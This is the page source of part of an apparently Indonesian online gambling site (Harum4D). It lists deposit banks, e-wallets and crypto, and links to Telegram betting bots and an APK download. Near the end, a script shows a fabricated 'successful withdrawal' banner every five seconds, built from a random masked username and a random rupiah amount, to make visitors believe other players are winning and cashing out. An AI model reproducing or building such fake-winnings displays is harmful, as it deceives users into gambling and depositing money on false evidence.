src="https://img.viva88athenae.com//banner-telegram-icon.png" class="telegram-float"/> 4893 <div class="d-flex flex-column justify-content-center gap-1"> 4894 <strong class="telegram-bet-title">TELEGRAM BET</strong> 4895 4896 <div class="d-flex gap-3"> 4897 <div class="d-flex gap-1"><i class="bi bi-check2-circle text-success"></i><em class="text-white">Daftar</em></div> 4898 <div class="d-flex gap-1"><i class="bi bi-check2-circle text-success"></i><em class="text-white">Login</em></div> 4899 <div class="d-flex gap-1"><i class="bi bi-check2-circle text-success"></i><em class="text-white">Deposit</em></div> 4900 <div class="d-flex gap-1"><i class="bi bi-check2-circle text-success"></i><em class="text-white">Withdraw</em></div> 4901 <div class="d-flex gap-1"><i class="bi bi-check2-circle text-success"></i><em class="text-white">Bet</em></div> 4902 </div> 4903 </div> 4904 </div> 4905 4906 <button class="btn-telegram-neon rounded-pill" onclick="window.open('https://telegram.me/harum4d_bot', '_blank')">Mainkan Sekarang</button> 4907 4908 </div> 4909 <div style="position: absolute; width: 100%; background: gray"> 4910 <img src="https://img.viva88athenae.com//banner-telegram.jpg" /> 4911 </div> 4912 4913 </div> 4914 4915 4916 4917 <div class="transaksi-kontak"> 4918 4919 <div class="d-flex flex-column w-100"> 4920 <div class="transaksi-content"> 4921 <!-- Bank --> 4922 4923<style> 4924 /* ====== LAYOUT KESELURUHAN ====== */ 4925 4926 .transaksi-layout { 4927 display: flex; 4928 justify-content: center; 4929 gap: 16px; 4930 align-items: center; 4931 } 4932 4933 .transaksi-left-inner { 4934 width: 100%; 4935 } 4936 4937 .transaksi-left-img { 4938 width: 100%; 4939 height: auto; 4940 display: block; 4941 object-fit: cover; 4942 } 4943 4944 .transaksi-right-box { 4945 flex: 1; 4946 display: flex; 4947 justify-content: flex-start; 4948 } 4949 4950 .transaksi-group { 4951 display: flex; 4952 flex-direction: column; 4953 gap: 16px; 4954 width: 100%; 4955 grid-template-areas: 4956 "transaksi-bank transaksi-other transaksi-crypto"; 4957 } 4958 4959 .transaksi-bank { 4960 grid-area: transaksi-bank; 4961 display: grid; 4962 place-items: center; 4963 justify-content: flex-start; 4964 } 4965 4966 .transaksi-other { 4967 grid-area: transaksi-other; 4968 display: flex; 4969 justify-content: flex-start; 4970 width: 100%; 4971 } 4972 4973 .transaksi-crypto { 4974 grid-area: transaksi-crypto; 4975 display: flex; 4976 justify-content: flex-start; 4977 width: 100%; 4978 } 4979 4980 .transaksi-wrapper { 4981 display: flex; 4982 flex-direction: column; 4983 gap: .5rem; 4984 align-items: flex-start; 4985 } 4986 4987 .transaksi-name { 4988 font-size: 1.1rem; 4989 font-weight: bold; 4990 line-height: 1.5rem; 4991 } 4992 4993 /* ====== GRID LIST ====== */ 4994 4995 .transaksi-list-bank, 4996 .transaksi-list-other { 4997 height: fit-content; 4998 display: grid; 4999 grid-template-columns: repeat(5, minmax(80px, 1fr)); 5000 gap: 4px 6px; 5001 } 5002 5003 .transaksi-list-crypto { 5004 height: fit-content; 5005 display: flex; 5006 align-items: center; 5007 gap: 24px; 5008 width: 100%; 5009 justify-content: flex-start; 5010 } 5011 5012 .icon-crypto { 5013 width: 24px; 5014 height: 24px; 5015 } 5016 5017 /* ====== ITEM BANK / EMONEY ====== */ 5018 5019 .transaksi-item { 5020 display: flex; 5021 flex-direction: column; 5022 position: relative; 5023 } 5024 5025 .transaksi-header { 5026 height: 30px; 5027 border-radius: 5px; 5028 font-weight: bold; 5029 border: 2px solid rgba(108,108,108,1); 5030 background: rgba(54,54,54,1); 5031 color: white; 5032 display: flex; 5033 align-items: center; 5034 justify-content: center; 5035 padding: 0 12px 0 22px; /* extra space kiri buat dot */ 5036 font-size: 0.9rem; 5037 white-space: nowrap; 5038 } 5039 5040 /* strip bawah lama dimatikan */ 5041 .transaksi-status { 5042 display: none; 5043 } 5044 5045 /* ====== ONLINE / OFFLINE DOT ====== */ 5046 5047 /* ONLINE: tambahkan class is-online di PHP */ 5048 .transaksi-header.is-online::before { 5049 content: ""; 5050 position: absolute; 5051 left: 8px; 5052 top: 50%; 5053 transform: translateY(-50%); 5054 width: 9px; 5055 height: 9px; 5056 border-radius: 50%; 5057 background-color: #00ff66; 5058 box-shadow: 0 0 6px rgba(0, 255, 102, .85); 5059 } 5060 5061 /* OFFLINE: is-offline (lebih gelap + tanpa dot) */ 5062 .transaksi-header.is-offline { 5063 background: #2e2e2e; 5064 border-color: #555; 5065 opacity: .4; 5066 } 5067 5068 /* backup: kalau lupa kasih class di PHP, treat sebagai offline */ 5069 .transaksi-header:not(.is-online):not(.is-offline) { 5070 background: #2e2e2e; 5071 border-color: #555; 5072 opacity: .4; 5073 } 5074 5075 @media only screen and (max-width: 768px) { 5076 5077 .transaksi-layout { 5078 flex-direction: column; 5079 align-items: center; 5080 } 5081 5082 .transaksi-group { 5083 display: grid; 5084 grid-template-columns: 1fr; 5085 grid-template-areas: 5086 "transaksi-bank" 5087 "transaksi-other" 5088 "transaksi-crypto"; 5089 gap: 32px; 5090 margin-bottom: 8px; 5091 } 5092 5093 .transaksi-header { 5094 font-size: 1.1rem; 5095 height: 36px; 5096 } 5097 5098 .transaksi-list-bank { 5099 grid-template-columns: repeat(4, 1fr); 5100 } 5101 5102 .transaksi-list-other { 5103 grid-template-columns: repeat(4, 1fr); 5104 } 5105 5106 .transaksi-list-crypto { 5107 width: 86%; 5108 margin: auto; 5109 flex-wrap: wrap; 5110 } 5111 5112 .transaksi-item { 5113 width: 100%; 5114 } 5115 5116 .transaksi-name { 5117 font-size: 1.3rem; 5118 text-align: center; 5119 line-height: 1.8rem; 5120 } 5121 5122 .transaksi-wrapper { 5123 width: 100%; 5124 max-width: 100%!important; 5125 gap: 1rem; 5126 align-items: center; 5127 } 5128 5129 .icon-crypto { 5130 width: 28px; 5131 height: 28px; 5132 } 5133 } 5134 5135 /* LEBAR BOX BANK BIAR RAPI DAN CENTER */ 5136 .transaksi-header { 5137 height: 34px; 5138 border-radius: 6px; 5139 font-weight: bold; 5140 border: 2px solid rgba(108,108,108,1); 5141 background: rgba(54,54,54,1); 5142 color: white; 5143 5144 /* Tambahan baru */ 5145 min-width: 110px; /* Lebarin biar semua rata */ 5146 padding: 0 16px 0 28px; /* Kasih ruang untuk dot */ 5147 display: flex; 5148 align-items: center; 5149 justify-content: center; 5150 text-align: center; 5151 5152 white-space: nowrap; 5153 } 5154 5155 /* DOT ONLINE */ 5156 .transaksi-header.is-online::before { 5157 content: ""; 5158 position: absolute; 5159 left: 10px; 5160 top: 50%; 5161 transform: translateY(-50%); 5162 width: 10px; 5163 height: 10px; 5164 border-radius: 50%; 5165 background-color: #00ff66; 5166 box-shadow: 0 0 6px rgba(0, 255, 102, .85); 5167 } 5168 5169 /* OFFLINE (DISABLED) */ 5170 .transaksi-header.is-offline { 5171 padding: 0 16px; 5172 background: #2e2e2e; 5173 border-color: #555; 5174 opacity: .35; 5175 align-items: center; 5176 justify-content: center; 5177 text-align: center; 5178 } 5179 5180 /* GRID-nya sedikit dilebarin biar simetris */ 5181 .transaksi-list-bank, 5182 .transaksi-list-other { 5183 grid-template-columns: repeat(4, minmax(110px, 1fr)); 5184 gap: 8px 10px; 5185 } 5186 5187</style> 5188 5189<div class="transaksi-layout"> 5190 <div class="transaksi-left-box"> 5191 <div class="transaksi-left-inner"> 5192 <img src="/images/transaksi.png" class="transaksi-left-img"> 5193 </div> 5194 </div> 5195 5196 <div class="transaksi-right-box"> 5197 <div class="transaksi-group"> 5198 5199 <!-- BANK LOKAL --> 5200 <div class="transaksi-bank"> 5201 <div class="transaksi-wrapper"> 5202 <div class="transaksi-name">Bank Lokal</div> 5203 <div id="transaksi-bank-indicators" class="carousel slide" data-bs-ride="carousel"> 5204 <div class="carousel-indicators" style="bottom: -32px; margin-bottom: 0px"> 5205 <button type="button" data-bs-target="#transaksi-bank-indicators" 5206 data-bs-slide-to="0" class="active" aria-current="true" 5207 aria-label="Slide 1"></button> 5208 <button type="button" data-bs-target="#transaksi-bank-indicators" 5209 data-bs-slide-to="1" aria-label="Slide 2"></button> 5210 </div> 5211 5212 <div class="carousel-inner" style="min-height: 144px"> 5213 <div class="carousel-item active"> 5214 <div class="transaksi-list-bank"> 5215 <div class="transaksi-item"> 5216 <div class="transaksi-header is-online"> 5217 BCA </div> 5218 <div class="transaksi-status"></div> 5219 </div> 5220 <div class="transaksi-item"> 5221 <div class="trans
5221aksi-header is-online"> 5222 Mandiri </div> 5223 <div class="transaksi-status"></div> 5224 </div> 5225 <div class="transaksi-item"> 5226 <div class="transaksi-header is-online"> 5227 BNI </div> 5228 <div class="transaksi-status"></div> 5229 </div> 5230 <div class="transaksi-item"> 5231 <div class="transaksi-header is-online"> 5232 BRI </div> 5233 <div class="transaksi-status"></div> 5234 </div> 5235 <div class="transaksi-item"> 5236 <div class="transaksi-header is-online"> 5237 CIMB </div> 5238 <div class="transaksi-status"></div> 5239 </div> 5240 <div class="transaksi-item"> 5241 <div class="transaksi-header is-online"> 5242 Danamon </div> 5243 <div class="transaksi-status"></div> 5244 </div> 5245 <div class="transaksi-item"> 5246 <div class="transaksi-header is-online"> 5247 Permata </div> 5248 <div class="transaksi-status"></div> 5249 </div> 5250 <div class="transaksi-item"> 5251 <div class="transaksi-header is-online"> 5252 BJB </div> 5253 <div class="transaksi-status"></div> 5254 </div> 5255 <div class="transaksi-item"> 5256 <div class="transaksi-header is-online"> 5257 PANIN </div> 5258 <div class="transaksi-status"></div> 5259 </div> 5260 <div class="transaksi-item"> 5261 <div class="transaksi-header is-online"> 5262 OCBC </div> 5263 <div class="transaksi-status"></div> 5264 </div> 5265 <div class="transaksi-item"> 5266 <div class="transaksi-header is-online"> 5267 DKI </div> 5268 <div class="transaksi-status"></div> 5269 </div> 5270 <div class="transaksi-item"> 5271 <div class="transaksi-header is-online"> 5272 SUMUT </div> 5273 <div class="transaksi-status"></div> 5274 </div> 5275 <div class="transaksi-item"> 5276 <div class="transaksi-header is-online"> 5277 BSI </div> 5278 <div class="transaksi-status"></div> 5279 </div> 5280 <div class="transaksi-item"> 5281 <div class="transaksi-header is-online"> 5282 NEO </div> 5283 <div class="transaksi-status"></div> 5284 </div> 5285 <div class="transaksi-item"> 5286 <div class="transaksi-header is-online"> 5287 JAGO </div> 5288 <div class="transaksi-status"></div> 5289 </div> 5290 <div class="transaksi-item"> 5291 <div class="transaksi-header is-online"> 5292 SeaBank </div> 5293 <div class="transaksi-status"></div> 5294 </div> 5295 </div> 5296 </div> 5297 <div class="carousel-item "> 5298 <div class="transaksi-list-bank"> 5299 <div class="transaksi-item"> 5300 <div class="transaksi-header is-online"> 5301 NOBU </div> 5302 <div class="transaksi-status"></div> 5303 </div> 5304 <div class="transaksi-item"> 5305 <div class="transaksi-header is-online"> 5306 Maybank </div> 5307 <div class="transaksi-status"></div> 5308 </div> 5309 <div class="transaksi-item"> 5310 <div class="transaksi-header is-online"> 5311 Mestika </div> 5312 <div class="transaksi-status"></div> 5313 </div> 5314 <div class="transaksi-item"> 5315 <div class="transaksi-header is-online"> 5316 Sinarmas </div> 5317 <div class="transaksi-status"></div> 5318 </div> 5319 <div class="transaksi-item"> 5320 <div class="transaksi-header is-online"> 5321 Mega </div> 5322 <div class="transaksi-status"></div> 5323 </div> 5324 <div class="transaksi-item"> 5325 <div class="transaksi-header is-online"> 5326 Superbank </div> 5327 <div class="transaksi-status"></div> 5328 </div> 5329 <div class="transaksi-item"> 5330 <div class="transaksi-header is-online"> 5331 SAQU </div> 5332 <div class="transaksi-status"></div> 5333 </div> 5334 </div> 5335 </div> 5336 </div> 5337 </div> 5338 5339 </div> 5340 </div> 5341 5342 <!-- E MONEY & PULSA --> 5343 <div class="transaksi-other"> 5344 <div class="transaksi-wrapper"> 5345 <div class="transaksi-name">E Money & Pulsa</div> 5346 5347 <div id="transaksi-other-indicators" class="carousel slide" data-bs-ride="carousel"> 5348 <div class="carousel-indicators" style="bottom: -32px; margin-bottom: 0px"> 5349 </div> 5350 5351 <div class="carousel-inner" > 5352 <div class="carousel-item active"> 5353 <div class="transaksi-list-other"> 5354 <div class="transaksi-item"> 5355 <div class="transaksi-header is-online"> 5356 Jenius </div> 5357 <div class="transaksi-status"></div> 5358 </div> 5359 <div class="transaksi-item"> 5360 <div class="transaksi-header is-online"> 5361 DANA </div> 5362 <div class="transaksi-status"></div> 5363 </div> 5364 <div class="transaksi-item"> 5365 <div class="transaksi-header is-online"> 5366 OVO </div> 5367 <div class="transaksi-status"></div> 5368 </div> 5369 <div class="transaksi-item"> 5370 <div class="transaksi-header is-online"> 5371 ShopeePay </div> 5372 <div class="transaksi-status"></div> 5373 </div> 5374 <div class="transaksi-item"> 5375 <div class="transaksi-header is-online"> 5376 GOPAY </div> 5377 <div class="transaksi-status"></div> 5378 </div> 5379 <div class="transaksi-item"> 5380 <div class="transaksi-header is-online"> 5381 LinkAja </div> 5382 <div class="transaksi-status"></div> 5383 </div> 5384 <div class="transaksi-item"> 5385 <div class="transaksi-header is-online"> 5386 Lain-lain </div> 5387 <div class="transaksi-status"></div> 5388 </div> 5389 <div class="transaksi-item"> 5390 <div class="transaksi-header is-online"> 5391 QRIS </div> 5392 <div class="transaksi-status"></div> 5393 </div> 5394 <div class="transaksi-item"> 5395 <div class="transaksi-header is-online"> 5396 AntarBank </div> 5397 <div class="transaksi-status"></div> 5398 </div> 5399 <div class="transaksi-item"> 5400 <div class="transaksi-header is-online"> 5401 Telkomsel </div> 5402 <div class="transaksi-status"></div> 5403 </div> 5404 <div class="transaksi-item"> 5405 <div class="transaksi-header is-online"> 5406 Axiata </div> 5407 <div class="transaksi-status"></div> 5408 </div> 5409 </div> 5410
5410 </div> 5411 </div> 5412 </div> 5413 5414 </div> 5415 </div> 5416 5417 <!-- CRYPTO --> 5418 <div class="transaksi-crypto"> 5419 <div class="transaksi-wrapper"> 5420 <div class="transaksi-name mb-1">Crypto Currency</div> 5421 5422 <div id="transaksi-crypto-indicators" class="carousel slide" data-bs-ride="carousel"> 5423 <div class="carousel-indicators" style="bottom: -32px; margin-bottom: 0px"> 5424 </div> 5425 5426 <div class="carousel-inner" > 5427 <div class="carousel-item active"> 5428 <div class="transaksi-list-crypto"> 5429 <div class="d-flex gap-2"> 5430 <img src="https://img.viva88athenae.com/USDT.png" 5431 class="icon-crypto" alt="USDT"> 5432 <strong class="transaksi-name">USDT</strong> 5433 </div> 5434 </div> 5435 </div> 5436 </div> 5437 5438 </div> 5439 </div> 5440 </div> 5441 5442 </div> 5443 </div> 5444</div> 5445 </div> 5446 5447 5448 </div> 5449 5450 <!--<div class="d-flex flex-column desktop-only" style="width: 180px">--> 5451 5452 <!-- <div class="transaksi-title">--> 5453 <!-- <div class="transaksi-title-group">--> 5454 <!-- <div class="fitur-header">Kontak Kami</div>--> 5455 <!-- </div>--> 5456 5457 <!-- <div class="devider desktop-only"></div>--> 5458 <!-- </div>--> 5459 5460 5461 <!-- 5462<div id="kontak-kami-indicators" class="carousel slide" data-bs-ride="carousel" style="padding-top: 14px"> 5463 <div class="carousel-indicators" style="bottom: -33px; margin-bottom: 0px"> 5464 5465 5466 </div> 5467 <div class="carousel-inner" style="height: 164px"> 5468 5469 5470 </div> 5471</div> 5472--> 5473 5474 <!--</div>--> 5475 </div> 5476 </div> 5477 </div> 5478 5479 5480 <div class="bantuan"> 5481 5482 <ul class="bantuan-content justify-content-center"> 5483 <li class="bantuan-item" onclick="showInformasi('tentang')">TENTANG KAMI</li> 5484 <div class="bantuan-devider desktop-only">|</div> 5485 <li class="bantuan-item" onclick="showInformasi('bantuan')">BANTUAN</li> 5486 <div class="bantuan-devider desktop-only">|</div> 5487 <li class="bantuan-item" onclick="showInformasi('peraturan')">PERATURAN</li> 5488 <div class="bantuan-devider desktop-only">|</div> 5489 <li class="bantuan-item" onclick="showInformasi('bank')">INFORMASI BANK</li> 5490 <div class="bantuan-devider desktop-only">|</div> 5491 <li class="bantuan-item" onclick="showInformasi('hubungi')">HUBUNGI KAMI</li> 5492 <div class="bantuan-devider desktop-only">|</div> 5493 <li class="bantuan-item" onclick="showInformasi('privasi')">KEBIJAKAN PRIVASI</li> 5494 <div class="bantuan-devider desktop-only">|</div> 5495 <li class="bantuan-item" onclick="showInformasi('cookies')">PERSETUJUAN COOKIES</li> 5496 </ul> 5497 </div> 5498 5499 5500 <footer class="footer"> 5501 5502 <div class="guidelines"> 5503 <div class="desktop-only"> 5504 <div class="guidelines-content d-flex justify-content-center"> 5505 <img src="https://img.viva88athenae.com/assets/guidelines.png" style="width: 640px" /> 5506 </div> 5507 </div> 5508 </div> 5509 5510 <div class="provider d-none d-lg-block"> 5511 <div class="provider-group"> 5512 <img src="https://img.viva88athenae.com/assets/provider.png" class="desktop-only" alt=""> 5513 </div> 5514 </div> 5515 5516 <div> 5517 </footer> 5518 5519 </section> 5520 </amp-accordion> 5521 5522 <kiri> 5523<!--Mulai disini--><p></p> 5524 5525 5526 5527 5528 5529 5530<p><!--Akhir disini--> 5531</p></div> 5532 5533<style> 5534 /* start wa button */ 5535 .wabutton ul { 5536 padding: 0px; 5537 -webkit-transform: translate(-130px, 0); 5538 -moz-transform: translate(-130px, 0); 5539 -ms-transform: translate(-130px, 0); 5540 -o-transform: translate(-130px, 0); 5541 transform: translate(-130px, 0); 5542 } 5543 5544 .wabutton ul li a { 5545 color: #fff; 5546 } 5547 5548 .wabutton ul li { 5549 display: block; 5550 margin: 6px; 5551 margin-left: 0px; 5552 background: rgba(0, 0, 0, 0.86); 5553 width: 180px; 5554 text-align: right; 5555 padding: 4px; 5556 -webkit-border-radius: 0 20px 20px 0; 5557 -moz-border-radius: 0 20px 20px 0; 5558 border-radius: 0 20px 20px 0; 5559 -webkit-transition: all 1s; 5560 -moz-transition: all 1s; 5561 -ms-transition: all 1s; 5562 -o-transition: all 1s; 5563 transition: all 1s; 5564 height: 53px; 5565 border: groove 3px #0adbff; 5566 color: #ffffff; 5567 } 5568 5569 .wabutton ul li:hover { 5570 -webkit-transform: translate(110px, 0); 5571 -moz-transform: translate(110px, 0); 5572 -ms-transform: translate(110px, 0); 5573 -o-transform: translate(110px, 0); 5574 transform: translate(110px, 0); 5575 background: rgba(0, 0, 0, 0.86); 5576 color: #ffffff; 5577 } 5578 5579 .wabutton ul li:hover a { 5580 color: rgb(9, 205, 240); 5581 } 5582 5583 .wabutton ul li:hover i { 5584 color: rgb(255, 255, 255); 5585 background: rgba(0, 0, 0, 0.86); 5586 -webkit-transform: rotate(360deg); 5587 -moz-transform: rotate(360deg); 5588 -ms-transform: rotate(360deg); 5589 -o-transform: rotate(360deg); 5590 transform: rotate(360deg); 5591 -webkit-transition: all 1s; 5592 -moz-transition: all 1s; 5593 -ms-transition: all 1s; 5594 -o-transition: all 1s; 5595 transition: all 1s; 5596 } 5597 5598 .wabutton ul li i { 5599 margin-left: 10px; 5600 color: #000; 5601 background: #fff; 5602 padding: 10px; 5603 -webkit-border-radius: 50%; 5604 -moz-border-radius: 50%; 5605 border-radius: 50%;
5606 width: 20px; 5607 height: 20px; 5608 font-size: 20px; 5609 background: #ffffff; 5610 -webkit-transform: rotate(0deg); 5611 -moz-transform: rotate(0deg); 5612 -ms-transform: rotate(0deg); 5613 -o-transform: rotate(0deg); 5614 transform: rotate(0deg); 5615 } 5616 5617 /* end wa button */ 5618 footer#footer { 5619 background-color: #000; 5620 border-top: 10px solid #231708; 5621 color: rgba(255, 255, 255, 1); 5622 font-weight: 300; 5623 font-size: 13px; 5624 } 5625 5626 5627 .wabutton { 5628 position: fixed; 5629 bottom: 145px; 5630 left: 14px; 5631 z-index: 100; 5632 width: 60px; 5633 height: 60px; 5634 } 5635 5636 5637 5638 .slotapkharum4d{ 5639 position: fixed; 5640 bottom: 120px; 5641 left: 14px; 5642 z-index: 100; 5643 width: 95px; 5644 height: 95px; 5645 } 5646 .aplikasiharum4d { 5647 position: fixed; 5648 bottom: 220px; 5649 left: 14px; 5650 z-index: 100; 5651 width: 95px; 5652 height: 95px; 5653 } 5654 .rtp-harum4d{ 5655 position: fixed; 5656 bottom: 320px; 5657 left: 14px; 5658 z-index: 100; 5659 width: 95px; 5660 height: 95px; 5661 5662 </style> 5663 5664 <a href="https://harum4drtp.com/" target="_blank"><img src="https://images.squarespace-cdn.com/content/v1/68f1f7690ee21816b0e3482f/a7de1ae3-3331-478c-b368-4530d2bc6752/gif-rtp-harum4d.gif" 5665 class="rtp-harum4d" alt="rtp harum4d"></a> 5666 5667 5668<div style= 5669"position: fixed; bottom: 220px; left: 14px; z-index: 10; opacity: 0.98;"> 5670<a href="https://cutt.ly/jyhhyXVA" target= 5671"_blank" rel="noopener"><img class="Apk Harum4d" src= 5672"https://images.squarespace-cdn.com/content/v1/68f1f7690ee21816b0e3482f/d1a9b3f6-7c09-449c-86c8-c3ad3866e216/gif-apk-harum4d.gif" 5673alt="Apk Harum4d" width="90" height="90"></a></div> 5674 5675 5676 5677<div style= 5678"position: fixed; bottom:120px; left: 14px; z-index: 10; opacity: 0.98;"> 5679<a href="https://telegram.me/HARUM4DOFFICAL2" target= 5680"_blank" rel="noopener"><img class="Telegram Harum4d" src= 5681"https://images.squarespace-cdn.com/content/v1/68f1f7690ee21816b0e3482f/ccb1fcf0-a728-44ed-83a3-860a05ee331a/gif-telegram-harum4d.gif" 5682alt="Telegram Harum4d" width="90" height="90"></a></div> 5683 5684
5685<script> 5686$("<a class='btn' style='color:White; background: radial-gradient(#007ab2, #00afff); font-size: 20px; width: 100%; height: 50px; display: grid; border-radius: 20px; place-items: center' href='https://t.me/harum4d_offical' target='_blank'>Channel Telegram </a>").insertAfter(".btn-info:eq(0)") 5687</script>
5687 5688
5689<script> 5690$("<a class='btn' style='color:White; background: radial-gradient(#007ab2, #00afff); font-size: 20px; width: 100%; height: 75px; display: grid; border-radius: 20px; place-items: center' href='https://ael.ink/ndc00mdquir8' target='_blank'><b>Cabang Harum4d<br>HARUMSLOT</b></a>").insertAfter(".btn-info:eq(0)") 5691</script>
5691 5692
5693<script> 5694$("<a class='btn' style='color:White; background: radial-gradient(#007ab2, #00afff); font-size: 20px; width: 100%; height: 50px; display: grid; border-radius: 20px; place-items: center' href='https://t.me/harum4d_bot' target='_blank'><b>MAIN DI TELEGRAM</b></a>").insertAfter(".btn-info:eq(0)") 5695</script>
5695 5696
5697<script> 5698$("<a class='btn' style='color:White; background: radial-gradient(#007ab2, #00afff); font-size: 20px; width: 100%; height: 50px; display: grid; border-radius: 20px; place-items: center' href='https://harum4dapk1.com/downloads/app/Harum4D.apk' target='_blank'><b>APK HARUM4D</b></a>").insertAfter(".btn-info:eq(0)") 5699</script>
5699 5700 5701 5702<style> 5703 #pop-up-container { 5704 display: flex; 5705 align-items: center; 5706 justify-content: space-evenly; 5707 position: fixed; 5708 z-index: 11; 5709 top: 0; 5710 left: 0; 5711 right: 0; 5712 bottom: 0; 5713 } 5714 #pop-up-wrapper { 5715 width: 85%; 5716 min-width: 315px; 5717 max-width: 500px; 5718 min-height: 210px; 5719 position: relative; 5720 z-index: 11; 5721 overflow: visible; 5722 border-radius: 5px; 5723 } 5724 #pop-up-wrapper img { 5725 width: 100%; 5726 border-radius: 5px 5px 0 0; 5727 } 5728 #pop-up-wrapper button { 5729 width: 100%; 5730 padding: 0.75rem; 5731 font-size: -0.75rem; 5732 font-weight: 700; 5733 border: none; 5734 border-radius: 0 0 5px 5px; 5735 margin: 0; 5736 background-color: #030303; 5737 } 5738 .gray-bg { 5739 background: #00000000 no-repeat; 5740 } 5741 .swirl-in-fwd { 5742 -webkit-animation: swirl-in-fwd 0.6s ease-out both; 5743 animation: swirl-in-fwd 0.6s ease-out both; 5744 } 5745 .x-mark-container { 5746 position: absolute; 5747 top: 5px; 5748 right: 5px; 5749 background-color: black; 5750 border-radius: 50%; 5751 width: 8%; 5752 } 5753 #bg-black { 5754 background-color: rgba(0, 0, 0, 0.86); 5755 position: fixed; 5756 z-index: 10; 5757 top: 0; 5758 left: 0; 5759 right: 0; 5760 bottom: 0; 5761 } 5762 @-webkit-keyframes swirl-in-fwd { 5763 0% { 5764 -webkit-transform: rotate(0deg) scale(0); 5765 transform: rotate(0deg) scale(0); 5766 opacity: 0; 5767 } 5768 100% { 5769 -webkit-transform: rotate(0) scale(1); 5770 transform: rotate(0) scale(1); 5771 opacity: 1; 5772 } 5773 } 5774 @keyframes swirl-in-fwd { 5775 0% { 5776 -webkit-transform: rotate(0deg) scale(0); 5777 transform: rotate(0deg) scale(0); 5778 opacity: 0; 5779 } 5780 100% { 5781 -webkit-transform: rotate(0) scale(1); 5782 transform: rotate(0) scale(1); 5783 opacity: 1; 5784 } 5785 } 5786 .swirl-out-bck { 5787 -webkit-animation: swirl-out-bck 0.6s ease-in both; 5788 animation: swirl-out-bck 0.6s ease-in both; 5789 } 5790 @-webkit-keyframes swirl-out-bck { 5791 0% { 5792 -webkit-transform: rotate(0) scale(1); 5793 transform: rotate(0) scale(1); 5794 opacity: 1; 5795 } 5796 100% { 5797 -webkit-transform: rotate(0deg) scale(0); 5798 transform: rotate(0deg) scale(0); 5799 opacity: 0; 5800 } 5801 } 5802 @keyframes swirl-out-bck { 5803 0% { 5804 -webkit-transform: rotate(0) scale(1); 5805 transform: rotate(0) scale(1); 5806 opacity: 1; 5807 } 5808 100% { 5809 -webkit-transform: rotate(0deg) scale(0); 5810 transform: rotate(0deg) scale(0); 5811 opacity: 0; 5812 } 5813 } 5814 .fade-in { 5815 -webkit-animation: fade-in 1.2s cubic-bezier(0.39, 0.575, 0.565, 1) both; 5816 animation: fade-in 1.2s cubic-bezier(0.39, 0.575, 0.565, 1) both; 5817 } 5818 @-webkit-keyframes fade-in { 5819 0% { 5820 opacity: 0; 5821 } 5822 100% { 5823 opacity: 1; 5824 } 5825 } 5826 @keyframes fade-in { 5827 0% { 5828 opacity: 0; 5829 } 5830 100% { 5831 opacity: 1; 5832 } 5833 } 5834 .fade-out { 5835 -webkit-animation: fade-out 1s ease-out both; 5836 animation: fade-out 1s ease-out both; 5837 } 5838 @-webkit-keyframes fade-out { 5839 0% { 5840 opacity: 1; 5841 } 5842 100% { 5843 opacity: 0; 5844 } 5845 } 5846 @keyframes fade-out { 5847 0% { 5848 opacity: 1; 5849 } 5850 100% { 5851 opacity: 0; 5852 } 5853 } 5854</style> 5855 5856 5857 5858<div id="snackbar" class="show"> 5859<p id="withdraw"></p> 5860</div>
5861<script> 5862 function loadlink(){ 5863 var angka_acak = Math.floor(Math.random() * (10001-50)+50); 5864 5865 function maketextnumber(n) { 5866 for (var r = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"], e = n, t = new Array, a = 0; a <= e - 1; a++) { 5867 t[a] = r[parseInt(Math.random() * r.length)]; 5868 t = t; 5869 randomtextnumber = t.join("") 5870 } 5871 } 5872 5873 var huruf_acak = (maketextnumber(8), randomtextnumber); 5874 var huruf_belakang = huruf_acak.substring(6); 5875 var huruf_depan = huruf_acak.substring(0, 2); 5876 5877 const rupiah = (number)=>{ 5878 return new Intl.NumberFormat("id-ID", { 5879 style: "currency", 5880 currency: "IDR" 5881 }).format(number); 5882 } 5883 5884 var nominal = rupiah(angka_acak+"000"); 5885 5886 var baris = huruf_depan+"**"+huruf_belakang+" Berhasil Withdraw "+nominal; 5887 5888 var x = document.getElementById("snackbar"); 5889 x.className = "show"; 5890 setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); 5891 // setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); 5892 5893 document.getElementById("withdraw").innerHTML = huruf_depan+"**"+huruf_belakang+" Berhasil Withdraw "+nominal; 5894 // document.getElementById("withdraw").style.backgroundColor ="red"; 5895 // document.getElementById("withdraw").width ="30%"; 5896 // document.getElementById("withdraw").height ="25px"; 5897 } 5898 loadlink(); 5899 setInterval(function(){ 5900 loadlink() 5901 }, 5000); 5902 5903</script>
5903 5904 5905 5906<section class="n-container m-b-normal"> 5907<article class="bg-container contain"> 5908<div class="article"> 5909 5910</div> 5911</article> 5912</section> 5913 5914<section class="n-container m-b-normal"></section> 5915
5916<script> 5917 window.addEventListener('DOMContentLoaded', () => { 5918 if (window.location.pathname === '/' || window.location.pathname === '/') { 5919 $('body').append(` 5920 <div id="pop-up-container" onclick="close_pop_up()"> 5921 <div id="bg-black" class="fade-in"></div> 5922 5923 <div id="pop-up-wrapper" class="swirl-in-fwd gray-bg"> 5924 5925 <img 5926 src="https://images.squarespace-cdn.com/content/v1/68f1f7690ee21816b0e3482f/ad1299c8-42e8-4d80-b29d-13440df64ef6/harum4d?format=1000w" 5927 alt="popup" 5928 /> 5929 5930 5931 <button onclick="close_pop_up()" style="color: #fff">KLIK UNTUK MENUTUP</button> 5932 </div> 5933 </div> 5934 `); 5935 5936 document.getElementById('pop-up-wrapper').addEventListener('click', e => { 5937 e.stopPropagation(); 5938 }); 5939 } 5940 }); 5941 5942 const close_pop_up = () => { 5943 document.getElementById('pop-up-wrapper')?.classList.replace('swirl-in-fwd', 'swirl-out-bck'); 5944 document.getElementById('bg-black')?.classList.replace('fade-in', 'fade-out'); 5945 5946 setTimeout(() => { 5947 const pop_up_container = document.getElementById('pop-up-container'); 5948 pop_up_container?.parentElement.removeChild(pop_up_container); 5949 }, 1000); 5950 }; 5951</script>
